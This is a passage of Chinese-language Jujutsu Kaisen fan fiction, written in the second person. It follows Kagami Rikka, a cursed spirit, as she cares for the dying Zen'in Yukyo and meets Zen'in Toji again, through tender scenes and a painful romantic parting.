“怎么了?”他察觉到你在看他,身体变得有些僵硬。
“别动哦,你的睫毛上沾了点东西。”
你伸出一根手指,如愿以偿地碰到了微微上翘的边缘,其实那里除了一层金色的光尘,什么也没有。
“……是什么?”
你轻轻吹了下指尖,眨了眨眼,“大概是我看错了吧。”
更晚些的时候,太阳逐渐落下去,那窝狐狸的父母找了来,在距离你们不远的地方来回走动。禅院佑京小心地把袖子摊开放到地上,看着那几只小狐狸摇摇晃晃地朝它们的父母跑去。
你找的这块地方恰好能捕捉到落日的余晖,你看着金红的光边逐渐消失在山的另一侧,偏头看了眼身旁的禅院佑京。每当他沉默下来,就像是把自己关进了一个盒子里,他不出来,外面的人也进不去。
“佑京,你在想什么呢?”
禅院佑京回过神,朝你笑了一下,“谢谢你,今天我很开心。”
*
对于那天的事,你有些说不上来的后悔。你不想伤害禅院佑京,但你还是伤害了他,不止一次。
在那之后,你一直没有机会再带他出门,因为他再次病倒了。禅院佑京的身体状况永远低于你的预期,每当你以为他有所好转,下一场病痛就会来得更加猛烈。
你用咒力探查过他的身体,发现他的体内有一个缺口,那些仅剩的咒力不受控地从那个缺口外泄,或许要不了多久,他就会完全变成一个普通人。
他的健康状况则更差,除了脸上和腿上的伤以外,内脏、骨骼都有不同程度的错位和坏损。你不知道他是怎么活下来的。他就像是被彻底打碎之后,用一张人皮兜着随便拼起来的。
你开始后悔没有把真人一起带回这里,你把他留下来照顾惠,因为伏黑甚尔在这方面真的很不靠谱。现在你看着禅院佑京的伤势,发现自己束手无策。
你甚至不知道他能不能等到看红叶的日子。
*
禅院佑京醒来时,看见了跪坐在床边的加贺见立夏,他的手被她紧紧地握住,她的掌心很温暖,热意毫不吝啬地传递给了他,让他产生了些许的贪念。
“佑京,今天感觉如何呢?”
他觉得这个场景有点像妻子在慰问重病的丈夫。这样的想法只存在了短短的一瞬,就被他用力划去。
“比昨天好一点。”
加贺见立夏的手松了松,又再次攥紧了,眼中是姑且可以当作真心的担忧。
“如果有哪里不舒服,一定要告诉我。佑京,我希望你能快点好起来。”
禅院佑京点头。他很喜欢听加贺见立夏叫他的名字,比从前那样礼貌疏离的称呼亲近很多,这是曾经的他从未想过某一天能够得到的,让他产生了一些“死在此刻也不错”的想法。
“我做了一些吃的,要尝尝吗?”
“要。”禅院佑京立刻把刚刚荒唐的念头拍到一边,撑着身体想要坐起来,加贺见立夏唇边露出一抹很浅的笑,靠近些把他扶了起来。
早饭后,他们去庭院里转了一圈,这是禅院佑京一天中心情最好的时刻,伤痛尚未苏醒,而她恰好陪在身旁。
“佑京,我可以问你一个问题吗?”
“什么?”
禅院佑京转过头,加贺见立夏凝望着眼前的湖水。
“你想不想,去一个新的地方生活?”
“新的地方是……哪里?”
加贺见立夏转头看他,声音融化在湖畔的微风里,显得温柔,“是一个没有咒术师,没有咒灵,有很多未知的危险,却也有很多新鲜事物的世界。”
“……那是,你曾经生活过的地方吗?”
加贺见立夏没有否认。
“佑京是怎么想的呢?”她蹲下来,握住了他的手,“会舍不得这里吗?”
“你……”禅院佑京努力了好几下,才抑制住喉咙里的哽咽,“你会和我一起回去吗?”
“不要露出这种表情。”加贺见立夏的指腹触碰到他的眼角,他才注意到了自己眼中的湿润,“那里会有另一个我,如果你要
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去,她会好好照顾你的。或者,如果你想留下,我也会陪着你……”
禅院佑京不知道加贺见立夏经历了什么,才会回到这里。他曾经希望她永远也不要回来,见到她之后,才发现自己其实一直在等待着与她重逢的时刻。
能在死之前见到她,已经是非常高兴的事情了。为什么还要奢求更多呢?
禅院佑京闭上眼,那些温热的泪落下来,打湿了加贺见立夏的掌心。
“你想让我怎么做呢?”
*
没有多少时间了。你抓着禅院佑京冰凉的手,清楚地意识到了这一点。无论你是否出现,他注定要在某个寒冷的日子离去。
你想了很久,做出了一个决定。
这个决定很冒险,不符合你往常做事的风格,但你仍然想这样做。
你去找了禅院直毘人,让他告诉你咒术界上头的那群人到底想抓你做什么。
答案虽然可笑,但很符合他们贪生怕死的性格。你们做了一个交易,没有定下束缚。禅院直毘人觉得你在异想天开,但他打算帮忙。
“小丫头,你和甚尔……”
“老头,都到这种时候了,你可不要突然多嘴啊。”你打断了他的话,“就当作从来没有见过我吧。”
接着,你去找了九十九由基,她对你的提议很感兴趣,你们约定好下一次见面的时间,分开之前她突然问你,“你要救的那个就是你喜欢的人吗?”
你无奈地伸出食指抵在唇边,示意她不要多问。
回到这里以前,你曾经问过阿卡罗,普通人有没有可能穿过世界壁。
阿卡罗说,那需要很大的能量,要在短时间内将世界炸出一个缺口,如果想准确地抵达某个特定的异世界,在那之前,还需要先确定方向。
世界就像漂浮在虚空中的一个个气泡,无序地碰撞又分离,气泡内部保持稳定,除非它们之间发生融合。但这样的概率很低,尤其是已经诞生出世界意志的那些,它们在相遇时会格外谨慎。
“普通人的身体会在通过缺口的瞬间被撕扯成碎片,如果想要完好无损地抵达异世界,就需要构建一个稳定的通道,但是这个非常难,我不建议你去尝试。”
当初你和三叶的意识能够顺利抵达另一边,你一直以为是运气成分,就像你被生命之泉的暗流又带回了这里。
但是在遇见佑京后,你发现真相可能并非如此,他一定在那个过程中付出了巨大的代价。而现在,你想要偿还。
你那个时候问阿卡罗这些问题,其实是想找回身体意识,但在了解到这件事的难度后,你干脆地放弃了。如果不是万不得已,没有必要去做。
那么,现在是那个万不得已的时候吗?
你没有去找禅院甚尔。
如果未来注定无法改变,那么即使你避免与他见面,他也会在某个时刻猝不及防地出现在你的面前。
如果未来可以改变,就算你要再一次背约,你也认为,你们的故事最好就停在他十六岁那年,他应该过上自己的人生,不能总是被你打扰。
做出决定的过程是艰难的,但计划制定之后,就应该严格执行,义无反顾。
你做好了准备,但在看到禅院佑京时,短暂的犹豫了。伏黑甚尔说你很自私,喜欢自顾自的做决定,从不跟人商量。你的确是这样的人。
真是没办法。
你看着禅院佑京因为心情好而微微上翘的嘴角,决定尝试着稍微尊重一下他的意见。
你问他,是想要去新的世界开启新的生活,与这里的一切告别,还是想要留下来,迎接即将到来的死亡。如果他选择后者,你会一直陪伴他到最终的时刻。
而他将选择权交还给你。
“你想让我怎么做呢?”
他将脸轻轻贴在你的掌心,那些温热的泪很快打湿了你,它们是那么多,顺着你的手腕,一直流淌进你的衣袖。这让你想起了你在这里第一次见到他的那个夜晚,你有点想知道他现在是否依然恨着你。
“我想要你活下去。”
你最终只说了这句话。
25. 五片月亮
加贺见立夏还没有回来。
禅院佑京发现自己在这段时间已经习惯了每次醒来,都能在身边看见她。今天她出门的时间有点长,让他无法控制地担心。
她在外面遇到危险了吗?
或者,她终于离开了自己。
禅院佑京坐在椅子上,看着逐渐变暗的天色。就在早上,她才问过他关于未来的想法。
对,未来。
所以她会回来的。
禅院佑京知道加贺见立夏在计划着一件事。她从来都不像外表看上去那么单纯无害,禅院佑京以前想要保护她,但她其实不需要任何人的保护。
现在,他想知道她在计划着什么,但他不敢问。加贺见立夏有她自己的处事原则,那就是别人想从她那里得到什么,就一定要付出同等的代价。
加贺见立夏称之为公平。
半个月前,就在这里,加贺见立夏戴着脚镣蹲在他面前,试图从他这里得到一些信息。
她说,“不如我们各自问对方一个问题,我保证我会认真回答,你也一样。怎么样,是不是很公平?”
一点都不公平。
禅院佑京没有什么想要知道的,他最想知道的事,失去记忆的她没办法告诉自己,又或者,他其实已经知道答案了。
但禅院佑京没有拒绝,然后他看到了加贺见立夏的眼睛里露出的一点真实的,转瞬即逝的笑意。
“除了禅院家以外,还有谁想要抓我?”
听到这个问题的禅院佑京立刻就知道,加贺见立夏没有变,她还是他记忆中那个永远冷静,永远清醒,永远坚定的样子。
“御三家,高层,知道这件事的所有咒术师和诅咒师……他们都想抓你。”禅院佑京不自觉地皱眉,“我是不会放你离开的。”
“好。”加贺见立夏无所谓地点点头,把手搭在他的膝上,“现在到你了,佑京,问吧。”
禅院佑京那个时候,脑子里有短暂的空白,他看着加贺见立夏微笑的脸,好一会才发出声音,“你……有什么喜欢的东西吗?”
“哎?”加贺见立夏轻轻地歪了下头,似乎不明白他为什么要浪费一次提问的机会,但她很快又露出了笑,“我喜欢的东西很多啊,佑京如果想要知道得更清楚,就给我划定范围吧。”
禅院佑京想要送加贺见立夏一件礼物。不是因为生日,也不是因为什么节日,只是单纯的想送她东西。
但是,他从来都不知道加贺见立夏喜欢什么,所以一件也没有送出去过。
禅院甚尔就没有他这种顾虑,禅院甚尔无论送她什么,她都很高兴。哪怕在他看来,那只是一些随处可见的垃圾。
禅院佑京从回忆中清醒,皱了皱眉。他告诉自己,他不该有这样阴暗的想法,无论他和禅院甚尔之间有什么矛盾,他们都想让加贺见立夏开心,这就够了。
*
“听说你要死了。”
禅院甚尔看着坐在缘廊上发呆的禅院佑京,惊讶地发现对方竟然没有戴着面具。他记得禅院佑京很讨厌看到自己被毁掉的那张脸,而现在,禅院佑京听到他的声音之后看了过来,却连遮一下的意思都没有。
“你来干什么?”
禅院佑京皱着眉,语气中带着毫不掩饰的冷淡和厌恶。
“来看看你呗。”禅院甚尔走过去,颇为新奇地仔细看了看禅院佑京平日里不会露出来的那半张脸。
禅院佑京注意到他的视线,搭在轮椅上的手指抽动了一下,但没有抬起来,他冷漠地看着禅院甚尔。
“如果你没有别的事的话,就滚吧。”
“都说''人之将死,其言也善'',你说话怎么还是这么冲?”
禅院甚尔非但没有走开,还直接在禅院佑京身旁坐了下来。禅院佑京的眉心跳了跳,用力捏住了轮椅的扶手,让自己冷静下来。
禅院佑京刚刚还期盼着加贺见立夏早点回来,现在只希望她回来得越晚越好,或者干脆逃走了最好。
“我这里没有什么好招待你的,你有这个功夫,不如去讨好你的那些金主。”
“我倒是想啊。”禅院甚尔姿态随意地靠到身后的推拉门上,一手搭在曲起的膝上,看着庭院中枯败的秋景。
气氛陷入沉默,禅院佑京咬着牙,他没办法把禅院甚尔从家里赶走,也不肯示弱式的率先离开,不得不与他僵持着。直到身边传来均匀的呼吸声,禅院佑京才发现这家伙竟然睡着了。
大概是不需要出去见人,禅院甚尔没怎么收拾自己,禅院佑京看着那张颓丧的脸,恶狠狠地想着真该让加贺见立夏看到禅院甚尔的这副样子,让她看看自己喜欢的人变得多么糟糕,一边又想着她最好永远不要知道,不然该有多难过。
天色越来越暗,禅院佑京终于忍不住,转着轮椅想去前面看看加贺见立夏是不是真的没有回来。
他刚一挪动,身后就传来了禅院甚尔的声音,“你要去哪?”
“你还不走,难道想要留下来过夜吗!”
禅院甚尔站起来,松了松骨头,他发现禅院佑京今天不太对劲,他的呼吸比往日里见到他要急促一些,似乎迫不及待地想赶他走。
禅院甚尔撇了撇嘴角,“行吧,改天再来看你,你最好多活几天。”
他发现,禅院佑京在听到他的话之后,悄悄松了口气。禅院甚尔装作毫无所觉地往外走,很快就消失在了禅院佑京的视野中。
禅院甚尔终于走了。
禅院佑京发现自己的手心里全是汗,他随意地往衣服上擦了擦,继续往前院赶。他太过着急,以至于忘了加贺见立夏其实很少走正门。
“这么急干什么?”
一道黑影轻巧地从屋檐上跳下来,吓了禅院佑京一跳,他看着面前的加贺见立夏,心跳久久不能平复。
“怎么出了这么多汗,身体又不舒服了吗?”
加贺见立夏发现了他的异状,上前一步抓着衣袖帮他擦了擦脸,又摸了摸他的手,发出一声小小的惊呼,“你的手好冰!”
禅院佑京很想露出一个安慰的笑,告诉她自己没事,但加贺见立夏直接把手里拎着的东西放到他怀里,绕到后面推着他飞快地往房间跑。
禅院佑京被仆人们直接塞进了被子,他敢肯定那些人在加贺见立夏来这里之前不敢对他这么放肆。但是看到加贺见立夏神情严肃的脸,禅院佑京就什么都说不出来了。
直到禅院佑京被医生确认了没事,加贺见立夏紧绷的脸才松了松,等到屋子里只剩下他们两个人,加贺见立夏又皱起了眉,“佑京……”
“我知道错了。”
加贺见立夏难得的噎了一下,她抬手揉了揉太阳穴,“就算我不在,你也要多注意点啊,我又不能一直看着你。”<
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“嗯,我知道的。”
禅院佑京看着那张为自己担忧着的脸,这一刻只觉得无比的安心。
*
直到禅院佑京问起,你才想起那个被你匆忙塞进他怀里的纸袋。你发现他竟然一直把它抱在怀里,很是无语了一阵。
“这是什么?”
“月见团子。”你看到他脸上茫然的表情,忍不住笑起来,“你是不是忘啦,今晚是''十五夜''。”
禅院佑京果然忘了。
他其实不能吹冷风,但在他的坚持下,你还是打开了一扇窗户,让明亮的月光照进来。
你把带回来的月见团子放到盘子里,一层层堆叠整齐,然后在花瓶里插上一束芒草,摆放在旁边。你做这些的时候,禅院佑京拥着被子安静地坐着,等你转过身,发现他一直在看着你。
“我脸上有什么东西吗?”你笑了一下。
“……没。”
你在他旁边跪坐下来,发现他肉眼可见的变得紧张,身体也稍微往后退了退,和你隔开点距离。
这样的反应其实很有趣,至少让他整个人都显得不那么苍白了。不过你没有一直折磨他的打算,你在袖子里摸了摸,将手递到他面前,摊开掌心。
“兔子?”
你笑眯眯地点头,“送给你的哦。”
禅院佑京从被子里伸出一只手,接过了那只毛绒绒的兔子玩偶。
“是不是很好摸?”
“嗯。”禅院佑京托着那只毛绒球,很小心地收拢了下手指,大概过了两三秒,他抬起头,动了动嘴唇。
“你说什么?”
你没有听清楚,凑近了些。
“我想……我想送你一个东西。”
他像是很费力的才说完了这句话,身体克制地后仰,眼神错开,又逼迫自己抬眼看着你。
“那,要现在就给我吗?”你坐直了身体,笑着将两只手并拢伸到他面前。
加贺见立夏笑盈盈的脸犹在眼前。
禅院佑京坐在一地狼藉中,苦恼地抓了抓头发,意识到自己做了什么,又拼命地用手指将它们梳理整齐。
两声敲门的轻响。禅院佑京狠狠地抖了一下,听到门外传来加贺见立夏的声音,“佑京,需要帮忙吗?”
“不用了!”
他慌乱地把地上被翻得乱糟糟的东西拢到一起,愈发绝望。
因为不想错过这个绝佳的机会,没什么准备就开口了,结果现在他在自己的储物间找到的都是些什么东西啊?他还说禅院甚尔送她的是垃圾,他这么多年一直攒着的,不也是垃圾吗?
禅院佑京看着自己从认识加贺见立夏起,似乎每年都认真准备着的礼物,失望地发现,直到今日,依然没有一件是拿得出手的。
发卡、手绳、御守、纸花球、风筝、木偶、剑玉……禅院佑京将它们一把把的推开,一个接一个的拆着盒子,一不小心打翻了一整盒玻璃弹珠,噼里啪啦的声响顿时充满了整个空间。
禅院佑京抱着盒子,浑身僵硬地盯着推拉门,害怕加贺见立夏听到动静会直接闯进来,看到他现在这副样子。
但是外面一直没有动静,禅院佑京的血冷下去,他坐起来朝门边挪了挪,颤抖的手用力攥住把手,将门刷的拉开。
玻璃弹珠从储物间滚了出去。
外面空无一人。
26. 六幕戏剧
被捂住嘴从禅院佑京的房间里拖出来时,你没能立刻反应过来,一方面你没想到会有人在这里明目张胆的绑架你,另一方面是似乎并没有人会用这种方式绑架一只咒灵。
这让你一时忘记了自己的真实身份,直接用人类的动作挣扎起来,那个人显然很有经验,迅速锁住你的手脚,将你完全压制到墙上。
月光下,你看到了熟悉的轮廓,你瞬间失去所有的力气,呆呆地看着他。这一次,你终于看清了他的样子,眉眼间仿佛还带着少年时的影子,又确确实实已经长大了。
禅院甚尔注视着你,过了一会,他缓缓松开捂着你的那只手,指腹用力擦过你的眼角,他的声音有些冰冷,“他们特意把你做成了这副样子吗?”
你不太明白他的意思,抬手抓住他的手腕,“甚尔,你在说什么?”
“竟然认识我。”
禅院甚尔的眉头皱得更紧,他没有管你抬起来的那只手,毫不客气地把你的脸上上下下摸了一遍,等他的指腹摸到你的耳根,你终于忍不住偏头躲开了。
“你在做什么?”
他没有回答,手掌松松地圈住你的脖子,指腹轻触着你颈侧的动脉,看你的眼神很奇怪,“你到底是什么东西?”
“你看不出来吗?我是咒灵啊!”
“咒灵……你为什么长着她的脸?”
“笨蛋甚尔!当然是因为我就是立夏啊!”你咬着牙,狠狠地跺了他一脚。
很好,他没有躲开。
“立夏……”
禅院甚尔俯身凑近了你,这个动作让你险些以为他要亲上来,但他只是继续用那种怀疑的目光看着你,“你要怎么证明自己是立夏?”
你从来没被人问过这种问题。
你想把禅院甚尔的脑袋打开看看他到底在想些什么。
禅院甚尔还记得那天。
他像往常一样做完了任务,想要快点去到加贺见立夏的身边。她说不定又忘了吃饭,这个点还在办公室里加班。
或许是夏日渐近,禅院甚尔那段时间接到的任务量骤然加重,虽然对他来说都能轻松完成,但是总会浪费掉很多时间,让他整个人都情绪暴躁,只有在见到她时才会好起来。
他还没有走到加贺见家的公司大楼,就察觉到了不对劲——空气里飘着血腥味。他的五感因天与咒缚的缘故被加持到极致,因此,他甚至可以辨认出,这是加贺见立夏的血!
这不可能!
他昨天见到她时,她明明还好好的。
禅院甚尔循着那股血腥味追去,来到了一片废墟。这里像是发生过激烈的打斗,楼房整个坍塌,钢筋折断了暴露出来,碎裂的砖石、玻璃混乱地堆叠,墙壁带着灼烧的痕迹,路过的人们对此视而不见,有咒术师设下了帐。
禅院甚尔试图找到加贺见立夏的身影,他的脑子罕见的迟钝,她的血腥味铺天盖地,令他无从分辨。究竟需要多少的血,才会对他的感官造成困扰?
禅院甚尔突然听到了废墟里传来的轻微动静,他冲过去将那个血人从地上拎起,是禅院佑京。
“立夏呢?!”
禅院甚尔无法控制地冲他大吼。禅院佑京浑身都被赤红色浸透,他的身上有很多伤口,还在不要命地往外冒血。他的身上也沾着她的血。
“立夏她在哪里?!!”
禅院佑京的喉间发出痛苦压抑的咳声,禅院甚尔狠狠地拍打他的背部,禅院佑京猛地侧头,吐出了一大口污浊的血。
“她……”
禅院甚尔红着眼睛,靠近禅院佑京的嘴,禅院佑京突然爆发出剧烈急促的咳嗽声,他边咳,边不停地笑,把自己笑到岔气,就再艰难地喘气。
“她死了……哈哈……”
“不可能!”禅院甚尔将他掼在地上,禅院佑京的脑袋被磕得懵了一下,那笑声断了断,紧接着他又被禅院甚尔抓着头发提起来,“她在哪里——”
禅院佑京整张脸上都是血,只睁开了一只眼睛,讥诮地看着面前的禅院甚尔,嘴角拼命咧开,“她死了!禅院甚尔,她死了!你再也……见不到她了。”
*
“你想让我怎么证明啊?”
你决定把问题抛回去。
“你……”
禅院甚尔摸在你脖子上的那只手收紧了一点,你无所畏惧地看着他。
“立夏!”
旁边突然传来禅院佑京的声音,那个声音听起来过于痛苦,把你一下子从和禅院甚尔的僵持中拉回来。
你看到禅院佑京半个身子爬到了门外,黑色的眼睛正死死地盯着你们。你下意识推开了面前的禅院甚尔,跑了过去。
“你这是在干什么呀!”
你有些生气,他们一个两个的都在没事找事。你蹲下去扶他的时候,禅院佑京用力攥住了你的手,他从来没有用过这么大的力气,掌心很凉,手背上的青筋都凸出来。
你没办法挣脱,也就不好使力,转头朝站在原地的禅院甚尔喊,“过来帮忙!”
禅院甚尔看着眼前的这一幕,觉得荒诞。加贺见立夏毫不犹豫地推开了他。
他现在仍然怀疑着她是否是真的立夏,还是被那对父子做出来恶心他的什么别的东西。但是被她推开的一瞬间,他的心头还是涌现出巨大的恐慌。
这种难以忍受、难以摆脱的恐慌让禅院甚尔紧紧捏住了拳头,看着加贺见立夏蹲在禅院佑京面前,试图将人扶起,又转头看向了自己。
禅院甚尔走过来,抓着禅院佑京的手让他松开,禅院佑京在这一刻爆发出更大的力气,几乎把你的骨头捏得咯咯作响,你被他们两个气笑了。
“好了,放松一点。”
你把禅院佑京半拥到怀里,用另一只手轻轻拍着他的头和背脊,禅院甚尔咬牙瞪着你,你不甘示弱地瞪回去。
禅院甚尔松开了手。
他沉默地按照加贺见立夏的心意,和她一起把禅院佑京送回了房间,然后坐在一旁,看着加贺见立夏和禅院家的那堆仆人一起围着禅院佑京忙前忙后。
禅院甚尔已经很久没有见过这样的景象,
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像在欣赏着一出默剧。
是她。
怎么可能是她。
她不应该出现在这里,至少不应该出现在这出戏的舞台上。
终于消停了。
你摸了摸脑门上的汗,看着安安静静的缩在被子里的禅院佑京,觉得他果然还是这样乖乖待着的时候最好。
房间里也被收拾干净了,进来的时候地上不知道为什么散落着很多玻璃弹珠,你险些滑倒。
“……立夏。”
禅院佑京的声音很低,他又一次用那种无助的目光看着你。
“不要胡思乱想,你该休息了。”
你伸手摸了摸他的脸,禅院佑京的呼吸有片刻的紊乱,轻轻吹拂在你的掌心。
“你会走吗?”
他看起来又要哭了。
你轻轻梳了梳他的头发,将指尖搭在他额角深深的伤疤上,认真地看着他,“不会的。我保证你醒来之后能看到我。”
禅院佑京抽了抽鼻子,他轻轻嗯了声,把脸更深地躲进被子里。
你帮他掖了掖被角,发现他仍然在紧张地看着你,有些无奈地把他的一只手从被窝里抓出来,握在掌心。
“现在可以安心睡觉了吗,佑京?”
禅院佑京的脸上浮现出淡淡的红晕,他强迫自己闭上眼,加贺见立夏的温度从被她握住的那只手上传来,让他感觉很好。但他睡不着,因为禅院甚尔在这里。
但是加贺见立夏奔向了自己。
禅院佑京的脑子里反反复复的出现刚才的那一幕,他努力回想着每一个细节,想要将它永远镌刻在记忆里。那一幕比他做过的所有的美梦加起来都要好,因为它是真实。
坐了太久,你的腿开始发酸,禅院佑京的呼吸趋于平缓,你仔细观察了一下,确认他已经睡着了。
你很小心地把手松开,禅院佑京在睡梦中皱了皱眉,你想了想,从袖子里掏出另一只兔子玩偶,塞进他的手心,将他的手指拢起来,再放回被子里。
禅院佑京没有什么反应。你松了口气,动作依然很轻地从他身边退开,然后在下一秒被人从身后紧紧抱住了。
禅院甚尔一手环着你的上身,一手圈住你的小腿,将你从地上抱起来。你咬住嘴唇,没让自己发出声音。
你们来到了屋子外面,静谧的缘廊上月色如水。禅院甚尔继续往前走,你轻轻拍了下他的手臂,“可以了,不要走得太远。”
他停下来,把你放到地上。
你撑着地板站起身,他拽住你的手臂,把你扯进怀里紧紧搂住。
你顺理成章地抱住了他的腰,脸埋在他的胸口深深吸了吸,抬起头,看着他笑,“笨蛋甚尔,现在确定我是谁了吗?”
禅院甚尔没有说话,他的手指插进你的发间,托着你的后脑勺低头吻住了你。
你被他亲得头脑发懵,直到他退开一点,灼热的呼吸贴着你湿漉漉的嘴唇,你也没有想去反抗。
“你是立夏。”
禅院甚尔看着你,眼神炽热又哀伤。
27. 七句谎言
你发现事情变得难办了。
按照原定计划,你今天应该去见一次九十九由基。但目前摆在你面前的有两个难题,一是你没办法离开禅院佑京的视线,二是你甩不掉禅院甚尔。
自从你和禅院甚尔见面之后,禅院佑京的状态就很不好,只要你有一会没出现在他面前,他就一副被你抛弃了的可怜样。如果不是条件不允许,你恨不得跟他定下束缚,好让他安心点。
禅院甚尔也是一样,他就像没有自己的事做,不管你去哪里,都牢牢地跟在你身后,你又不是很忍心对他说狠话。
真是要命。
你放弃了溜出去的打算,在缘廊上坐下来。禅院甚尔立刻坐在了你身边,禅院佑京在另一边。
其实,这样也很有趣啊。你想象了一下普通人看到的情况,大概就是他们两个整天待在一起。你想着想着就笑出来,一左一右两道目光瞬间看向了你。
你捂着脸努力把笑容憋回去,朝他们俩看了看,“既然你们都不放心,不如一起出门吧。”
他们对视了一眼,脸上同时出现了难以忍受的表情。
最终你们还是一起出了门。
恰好天气不错,路上的行人不少,禅院佑京出门前戴上了面具,一脸的生人勿近,朝那些打招呼的人冷淡地点头。那些人原本可能还想多寒暄几句,看到站在轮椅后臭着一张脸的禅院甚尔,又退了回去。
你背着手走在他们旁边,情不自禁地露出微笑。禅院甚尔主动承担了推轮椅的任务,你终于有机会在街上随意走动。仗着一般人看不见你,你但凡看到感兴趣的,就凑到人堆里张望,这个时候他们俩就会在旁边等你。
你们走走停停,来到了你此行的目的地,一家当地人开的小酒馆。现在还没到酒馆生意最好的时段,里面只零星坐了些客人。
“我去和朋友说点话,你们自便哦。”
你被禅院甚尔抓住了手,你有些无奈,因为禅院佑京正在一旁看着你们,你不是很想刺激到他,就轻轻握着禅院甚尔的手指,把手抽出来。
“就在那个角落,你们能看到的,不用担心。我很快就回来。”你指了指从你们进门起就一直看着这边的九十九由基,“啊,佑京不可以喝酒,甚尔你最好也不要喝。”
“去吧,我在这里等你。”禅院佑京对你露出微笑,你也对他笑了一下,禅院甚尔发出一声冷哼。
“呼,总算逃出来了。”
你担心会被禅院甚尔听到,说得非常小声,九十九由基不知道你的顾虑,哈哈大笑,拍着你的肩膀问那边那个满脸不高兴的是不是就是你的意中人。
“嘶……你小点声,他能听到。”
你朝那边飞快地看了眼,禅院甚尔对你勾了勾嘴角,看来他已经听见了。
“哟。”九十九由基吹了声口哨,稍微压低了声音,“他旁边那个呢?看起来也不赖嘛。”
“那个是……朋友。”
还好禅院佑京听不见。
“看来没办法和你单独出门了啊,我一靠近你,他们两个就一脸紧张的样子。”九十九由基笑着掐了掐你的脸,你在她松手后轻轻揉了揉。
“嗯,下次吧。”现在这个情况,确实没办法讨论任何跟计划相关的事,甚至连酒都不能喝,你艰难地把目光从九十九由基手里的酒瓶上移开,“为什么你的男朋友不管你出门啊?”
“当然是因为我从来不会惯着他呀。小立夏,男人这种生物是越纵容越会得寸进尺的哦。”九十九由基对你眨了眨眼睛,“找个时间我教教你吧?”
“……不,不必了。”你觉得她那一套可能不太适合你。
接下来的时间,你们三个相安无事。
晚些时候,你好不容易把禅院佑京哄到睡着,立刻就被禅院甚尔拉进了隔壁的空房间。
推拉门没有完全合拢,薄薄的月光漏进来,禅院甚尔抱着你的腰,把你抵在墙上深吻。你被他亲得一丝力气都提不起来,他似乎很喜欢你无力反抗的样子,在你快要喘不上气的时候才稍稍松开,低头在你的脖子上啃咬。
你觉得他可能把对付那些女人的一套用在了你身上,因为他表现得实在太熟练了,而你的身体也恰到好处的给了他想要的反应。
“甚尔……不可以再继续了。”
在事情变得一发不可收拾之前,你轻轻扯了扯他的头发。
“……为什么?”禅院甚尔的额头抵着你的颈窝,呼吸洒在你裸.露的皮肤上,他放在你腰侧的手掌稍稍收紧,声音里带上一点咬牙切齿的意味,“是因为,禅院佑京吗?”
“不是。”
禅院甚尔抬起头看着你,你抬手摸着他的脸,很艰难地笑了一下,“甚尔,人类和咒灵是没有未来的呀。我已经……我已经死了,你是知道的。”
“可是——”
你捂住了他的嘴,你觉得自己应该笑一笑,可眼泪还是涌了出来,“甚尔,就这样不好吗?就让……我们的事停留在那个夏天,就当作没有再见过我。”
“我不明白。”禅院甚尔握着你的手腕把它压到墙上,绿色的眼睛里像是烧着一团火,直直地逼视着你,“为什么要说这种话,立夏,你是……”
禅院甚尔的喉结艰难地滚动了一下。
“你是不喜欢我了吗?
“是因为我变得这么糟糕,让你失望了,所以……所以你不想再……注视着我了吗?”
你没想到会让他误会成这样。
“我一直都很喜欢你。甚尔,不要这样说自己,不管你变成什么样子,我都喜欢你。”你说了一大串原本以为这辈子都不会告诉他的话,“我只是……不想伤害你啊。”
禅院甚尔的表情依然困惑。
“你应该拥有属于自己的人生,不应该被我牵绊。一直以来,强迫你顺从我的意愿……我很抱歉。”你低下头,觉得自己快要说不下去了。
“如果可以,我希望你能忘了我,你会遇到一个真正爱你的人,会……会拥有一个可爱的孩子。会得到幸福。”
这些都是我注定无法给你的。<
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“所以,你要离开我。”禅院甚尔松开了你,他往后退了退,声音显得冰冷,“加贺见立夏,你凭什么。”
禅院甚尔离开后,你浑身脱力地滑到地上,被扯开的和服透着冷风,你把它重新拉拢,抱着膝盖蜷缩起来。
他离开的时候,你的脑子里仿佛有个声音叫嚣着让你去挽留他,它说,就这样不管不顾地度过最后的时光吧,有什么关系呢,至少你们都可以得到快乐。
而你死死地掐着掌心,克制住这种想法,不断地告诉自己,不可以这样做,不可以不计后果。让他恨你,或者忘了你,总比给他希望又亲手摧毁的好。
你不可抑制地想起自己在06年遇见的伏黑甚尔,你知道自己如同他经历过的那般,深深地伤害了他,可是你实在找不出更好的办法了。
“对不起,甚尔。”
你捂住自己的脸,眼泪透过指缝,浸湿了你的整只手,你紧咬着牙克制住喉间的抽噎,身体依然不住的颤抖。
你又一次,背弃了与他的誓言。
*
禅院佑京醒来时,没有看见加贺见立夏,这让他在一瞬间产生了巨大的恐慌。
但很快,他在屋子里找到了她。
加贺见立夏蜷缩在窗前,睡着了。禅院佑京的心慢慢落下去,他坐起来,撑着地板往那边挪了挪。
清晨的日光透过窗格笼罩在她身上,让这一幕显得很美好。禅院佑京看了好一会,才想起来她就这样躺在地上,会不会冷?
他转身把被子扯过来,试图轻一点搭在她身上,但这样的动静惊扰到了她。加贺见立夏睁开眼,看到他之后浅浅地笑了,“佑京,你已经醒了啊。”
“嗯……早上好。”
禅院佑京把被子放下,往身后推了推。加贺见立夏已经坐了起来,她的头发有些乱,被她随意地拢到一侧,用手指轻轻梳理。
“我……我帮你吧。”
加贺见立夏看着他,表情有些发愣,像是没睡醒一样,禅院佑京觉得这样的她很可爱。
“那就麻烦你了。”她没有过多犹豫,挪到他身旁,背对着他坐下,把扯落的发绳递给他,“随意扎一下就好。”
“嗯。”禅院佑京很紧张,他咬着唇,让自己冷静点。
他的床边就放着梳子,他很小心地握着加贺见立夏的头发,将它们慢慢地梳理整齐,他很担心自己因为太用力扯痛了她,好在没有。
加贺见立夏很安静,没有催促,也没有和他说话,禅院佑京得以聚精会神地帮她把头发盘起来。他以前没有做过这种事,手心里一直往外冒汗,险些让梳子都滑脱了。
“嗯?已经好了吗?”加贺见立夏像是突然回神,抬手摸了摸被稳稳固定住的头发,露出微笑,“谢谢。”
“不客气。”禅院佑京习惯性地错开目光,却在无意间瞥到了加贺见立夏脖子上浅浅的红痕,他的呼吸滞了滞。
“怎么了?”
“……没什么。”禅院佑京抬起眼,“去吃早饭吧。”
28. 八滴眼泪
你一整天都心不在焉。
这是理所当然的。
但你不能让自己的这种状态持续太久,你必须给自己找点事情做。
禅院甚尔自从昨晚与你不欢而散后,一直没有出现,这很好,你可以更加自由地去实施你的计划。你故意忽视掉心里的抽痛,告诉自己习惯就好。
禅院佑京大概猜到你们之间发生了点不愉快,没有问你禅院甚尔的去向,他一向表现得很体贴。
